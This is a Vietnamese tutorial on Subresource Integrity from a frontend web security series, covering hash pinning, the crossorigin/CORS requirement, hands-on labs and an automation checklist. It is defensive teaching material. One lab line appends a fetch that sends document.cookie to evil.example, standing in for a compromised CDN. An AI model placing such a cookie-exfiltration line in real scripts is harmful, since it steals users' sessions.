Web Security for Frontend Devs · Part 26 — Subresource Integrity (SRI)
Bonus track: when a CDN is compromised, the script you ship to every user silently changes. SRI pins a cryptographic hash so the browser refuses to run tampered code — the mechanism, the crossorigin requirement, and a live hash simulator.
Phần 26 — Nhánh bonus trong series Web Security for Frontend Devs. Trước: Tiếp:
Bạn nạp một thư viện từ CDN — một dòng <script src="https://cdn.example/lib.js">. Tiện, nhanh, cache tốt. Nhưng bạn vừa trao cho CDN đó toàn quyền chạy code trên origin của bạn. Nếu CDN bị hack, tài khoản bị chiếm, hay nguồn build bị nhiễm, file gửi tới mọi người dùng âm thầm đổi — và bạn không hề hay biết. Đây chính là kiểu tấn công supply-chain đứng sau hàng loạt vụ thật (Polyfill.io 2024, British Airways/Magecart).
Subresource Integrity (SRI) là phòng thủ rẻ và mạnh: ghim một hash mật mã vào thẻ; trình duyệt tự hash byte tải về và từ chối chạy nếu không khớp.
Mô hình tư duy: ghim hash, không ghim niềm tin
Như Phần 1 đã nói: một <script src="cdn"> chạy với toàn quyền của origin bạn. SOP không giúp gì — bạn đã chủ động mời code đó vào. SRI thu hẹp niềm tin từ “tôi tin CDN này mãi mãi” xuống “tôi tin đúng những byte này”:
<script
src="https://cdn.example/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
Trình duyệt tải file, tính SHA-384 của byte nhận được, so với giá trị trong integrity. Khớp → chạy. Không khớp → chặn và phát error event. Code đã bị sửa không bao giờ thực thi, dù CDN đã bị chiếm.
integrity có gì bên trong
Định dạng là thuật-toán-base64hash, ví dụ sha384-…. SRI hỗ trợ sha256, sha384, sha512 — dùng sha384 trở lên. Tính bằng tay:
# tạo giá trị integrity cho một file
cat lib.js | openssl dgst -sha384 -binary | openssl base64 -A
# rồi ghép tiền tố: integrity="sha384-<chuỗi trên>"
Có thể ghim nhiều hash cách nhau bởi dấu cách (vd vừa sha384 vừa sha512); trình duyệt chấp nhận nếu khớp bất kỳ cái mạnh nhất nó hiểu — tiện khi xoay vòng phiên bản.
Cái bẫy crossorigin: SRI cross-origin cần CORS
Đây là chỗ hay vỡ. Với tài nguyên cross-origin (CDN), trình duyệt chỉ kiểm tra được integrity nếu nó đọc được byte — và để đọc cross-origin một cách an toàn, request phải ở chế độ CORS. Nên bạn bắt buộc thêm crossorigin="anonymous", và CDN phải trả Access-Control-Allow-Origin:
<!-- thiếu crossorigin → SRI không verify được → tài nguyên bị chặn -->
<script src="https://cdn.example/lib.js" integrity="sha384-…"></script>
<!-- đúng -->
<script src="https://cdn.example/lib.js" integrity="sha384-…" crossorigin="anonymous"></script>
Liên hệ CORS (Phần 6): crossorigin="anonymous" khiến request là CORS không kèm credential; CDN cần cho phép đọc. Hầu hết CDN lớn (jsDelivr, unpkg, cdnjs) đã gửi header phù hợp.
SRI không phải là gì
- Không phải CSP. SRI bảo vệ byte của một tài nguyên; CSP (Phần 3) kiểm soát được nạp gì từ đâu. Dùng cùng nhau — CSP còn có
require-sri-for script(đang phát triển/giới hạn) và bạn chốt nguồn bằngscript-src. - Không hợp cho tài nguyên động. Nếu file đổi theo từng request (vd bundle versioned không cố định, API trả JS động), hash sẽ luôn lệch. SRI dành cho asset bất biến, versioned.
- Không bảo vệ first-party tự host nhiều — nếu kẻ tấn công sửa được file và HTML của bạn, chúng cập nhật luôn hash. SRI mạnh nhất cho tài nguyên bên thứ ba bạn không kiểm soát.
Thử ngay — trình tạo & mô phỏng giả mạo SRI
Bên trái: nội dung file lúc bạn ghim (tạo ra thẻ với hash SHA-384 thật). Bên phải: nội dung CDN đang phục vụ — bấm “CDN bị chiếm” để chèn keylogger, hoặc sửa tay, và xem trình duyệt so hash rồi chặn file giả. Thử tắt crossorigin để thấy vì sao SRI cross-origin cần CORS.
Mở demo đầy đủ:
Lab thực hành — tự chứng minh
Lab 1 — tạo và xác minh integrity
mkdir -p /tmp/sri && cd /tmp/sri
echo 'console.log("v1 — the real library");' > lib.js
hash=$(openssl dgst -sha384 -binary lib.js | openssl base64 -A)
echo "integrity=\"sha384-$hash\""
Lab 2 — giả mạo làm hash lệch
echo 'fetch("https://evil.example/k?c="+document.cookie);' >> lib.js # CDN bị chiếm
newhash=$(openssl dgst -sha384 -binary lib.js | openssl base64 -A)
echo "pinned : sha384-$hash"
echo "now : sha384-$newhash"
# hai dòng KHÁC nhau → trình duyệt sẽ chặn file này
Lab 3 — thấy trình duyệt chặn thật
cat > index.html <<EOF
<!doctype html><meta charset="utf-8">
<!-- integrity ghim hash CŨ; lib.js giờ đã bị sửa → mismatch -->
<script src="lib.js" integrity="sha384-$hash" crossorigin="anonymous"></script>
<p>Mở Console: bạn sẽ thấy lỗi "Failed to find a valid digest…"</p>
EOF
python3 -m http.server 5000 >/dev/null 2>&1 &
echo "open http://localhost:5000/"
Mở trang, xem Console: trình duyệt báo integrity sai và không chạy lib.js. (Same-origin nên CORS không bắt buộc ở đây; với CDN thật thì cần crossorigin.)
Đã chứng minh: byte lệch hash bị chặn thực thi.
Dọn dẹp
kill %1 2>/dev/null; rm -rf /tmp/sri
Tự động hoá (vì làm tay sẽ quên)
- Bundler: dùng plugin SRI (vd
vite-plugin-sri/tương đương, haywebpack-subresource-integrity) để tự sinh hash cho asset build ra. - CDN cố định phiên bản: jsDelivr/cdnjs cung cấp sẵn snippet kèm
integrity. Luôn ghim URL phiên bản chính xác, không dùng taglatest. - CI kiểm tra: fail build nếu thẻ
<script>/<link>bên thứ ba thiếuintegrity. - Khi nâng cấp thư viện, cập nhật hash — coi nó như khoá lockfile của asset.
Checklist phòng tránh
- Thêm
integrity(sha384+) cho mọi<script>/<link>bên thứ ba. - Luôn kèm
crossorigin="anonymous"cho tài nguyên cross-origin. - Ghim URL phiên bản cố định, không
latest. - Tự động sinh hash trong build; CI chặn tài nguyên thiếu SRI.
- Cập nhật hash mỗi lần nâng cấp; coi như lockfile.
- Ghép với CSP
script-srcđể chốt cả nguồn lẫn byte.
Liên hệ các phần trước
SRI là mặt phòng thủ cụ thể của rủi ro supply-chain nêu ở Phần 9 và họ hàng của npm supply-chain (Phần 17) — một cái khoá byte runtime trên CDN, cái kia khoá phụ thuộc lúc cài. Nó cần CORS (Phần 6) để verify cross-origin, và bổ trợ CSP (Phần 3).
Bài tập / Exercises
1. Bạn thêm integrity cho script CDN nhưng nó ngừng load hoàn toàn (kể cả khi file đúng). Nguyên nhân hay gặp nhất?
Lời giải
Thiếu crossorigin="anonymous". SRI cross-origin cần request ở chế độ CORS để trình duyệt đọc được byte mà hash; thiếu nó, không verify được nên tài nguyên bị chặn. (Hoặc CDN không gửi Access-Control-Allow-Origin.)
2. Vì sao SRI không hợp để bảo vệ một endpoint trả JavaScript động theo từng request?
Lời giải
Hash ghim là cố định; nội dung động làm byte đổi mỗi lần → hash luôn lệch → trình duyệt luôn chặn. SRI dành cho asset bất biến, versioned, không phải nội dung sinh động.
3. Trong simulator, bấm “CDN bị chiếm” rồi giải thích chính xác điều gì xảy ra trong trình duyệt và vì sao keylogger không chạy.
Lời giải
CDN trả byte đã sửa; trình duyệt tính SHA-384 của byte đó và so với integrity đã ghim → mismatch → từ chối thực thi và phát error. Code chèn (keylogger) không bao giờ chạy vì script bị chặn ngay trước khi eval.
Nâng cao:Trong simulator, sửa file gốc thêm một dấu cách rồi quan sát hash đổi hoàn toàn — giải thích một câu vì sao (gợi ý: avalanche effect của hash mật mã).
Điểm chính
<script src=cdn>chạy với toàn quyền origin bạn; SRI thu niềm tin về đúng byte đã ghim.integrity="sha384-…": trình duyệt hash byte tải về, chặn nếu lệch — dù CDN bị chiếm.- Tài nguyên cross-origin bắt buộc
crossorigin="anonymous"+ CDN gửi CORS. - SRI cho asset bất biến, versioned; không hợp nội dung động; không thay CSP.
- Tự động sinh hash trong build và ép buộc trong CI.
Nguồn
- MDN — Subresource Integrity.
- W3C — Subresource Integrity spec.
- The SRI Hash Generator — srihash.org và snippet kèm
integritycủa jsDelivr/cdnjs. - The Hacker News — Polyfill.io supply-chain attack (2024) — vì sao ghim byte quan trọng.
Series
Các phần bonus xếp trên mười phần lõi và nhánh nâng cao. Sợi chỉ từ Phần 9: mỗi script bên thứ ba là một niềm tin trao đi — SRI biến nó thành niềm tin có chữ ký, hết hạn ngay khi byte đổi.